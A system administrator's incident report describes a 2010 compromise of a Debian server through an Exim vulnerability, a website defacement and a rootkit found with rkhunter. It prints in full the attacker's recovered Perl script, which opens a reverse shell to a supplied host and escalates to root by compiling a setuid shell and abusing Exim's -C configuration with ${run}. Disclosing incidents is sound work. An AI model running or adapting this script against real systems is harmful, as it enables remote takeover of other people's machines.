One of our servers was hacked, 5 days after a Debian Security Advisory. The exploit was executed in two phases, the first to gain access to the system and the second to escalate privileges. The exploit used targeted Exim with a memory corruption issue that allowed a remote attacker to execute arbitrary code as the Debian-exim user.

The intention of the attack was to deface the public website, which they managed to replace graphics on the website. Looking through the history, we could see that they were grepping apache access logs for the target path of the website and the images they were trying to replace. They replaced the images with a picture of Julian Assange with a quote of “You have to start with the truth. The truth is the only way that we can get anywhere. Because any decision-making that is based upon lies or ignorance can’t lead to a good conclusion.”.

We had noticed some peculiar events in the exim paniclog, which I believe to relate to the attack.

exim paniclog /var/log/exim4/paniclog on domain.com has non-zero size, mail system might be broken. The last 10 lines are quoted below.

2010-12-14 03:47:13 string too large in smtp_notquit_exit()
2010-12-14 03:49:47 string too large in smtp_notquit_exit()
2010-12-14 03:55:44 string too large in smtp_notquit_exit()
2010-12-14 04:02:15 string too large in smtp_notquit_exit()

From the exim spool, they attempted to brute force a script to execute with the following:

The script to escalate privileges :

$system = '/bin/sh';
$ARGC=@ARGV;
if ($ARGC!=2) {
   print "Usage: $0 [Host] [Port] \n\n";
   die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");

open FILE, ">/var/spool/exim4/s.c";
print FILE qq{
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
setuid(0);
setgid(0);
setgroups(0, NULL);
execl("/bin/sh", "sh", NULL);
}
};
close FILE;

system("gcc /var/spool/exim4/s.c -o /var/spool/exim4/s; rm /var/spool/exim4/s.c");
open FILE, ">/tmp/e.conf";
print FILE "spool_directory = \${run{/bin/chown root:root /var/spool/exim4/s}}\${run{/bin/chmod 4755 /var/spool/exim4/s}}";
close FILE;

system("exim -C/tmp/e.conf -q; rm /tmp/e.conf");
system("uname -a;");
system("/var/spool/exim4/s");
system($system);

This meant they managed to gain root access to the machine, which they installed a rootkit on the box.

server:~# rkhunter --check --quiet --rwo --skip-keypress
Warning: File '/bin/ls' has the immutable-bit set.
Warning: File '/bin/netstat' has the immutable-bit set.
Warning: File '/bin/ps' has the immutable-bit set.
Warning: File '/usr/bin/find' has the immutable-bit set.
Warning: File '/usr/bin/md5sum' has the immutable-bit set.
Warning: File '/usr/bin/pstree' has the immutable-bit set.
Warning: File '/usr/bin/top' has the immutable-bit set.
Warning: File '/sbin/ifconfig' has the immutable-bit set.
Warning: The file '/usr/sbin/unhide' exists on the system, but it is not present in the rkhunter.dat file.
Warning: The file '/usr/sbin/unhide-linux26' exists on the system, but it is not present in the rkhunter.dat file.
Warning: SHV4 Rootkit                             [ Warning ]
File '/lib/lidps1.so' found
Warning: SHV5 Rootkit                             [ Warning ]
File '/etc/sh.conf' found
File '/dev/srd0' found
Directory '/usr/lib/libsh' found
Warning: Found passwordless account: root
Warning: The SSH and rkhunter configuration options should be the same:
Unknown HZ value! (5) Assume 100.

Once made aware of the issue, and determining the server had been compromised we backed up the data for forensics and terminated the instance and created a new instance. We are now reviewing our security policies and patch management, however I went through 30-40 servers hardening and patching them.

Whilst the initial exploit has been fixed, the latter to escalate privileges has not yet been released.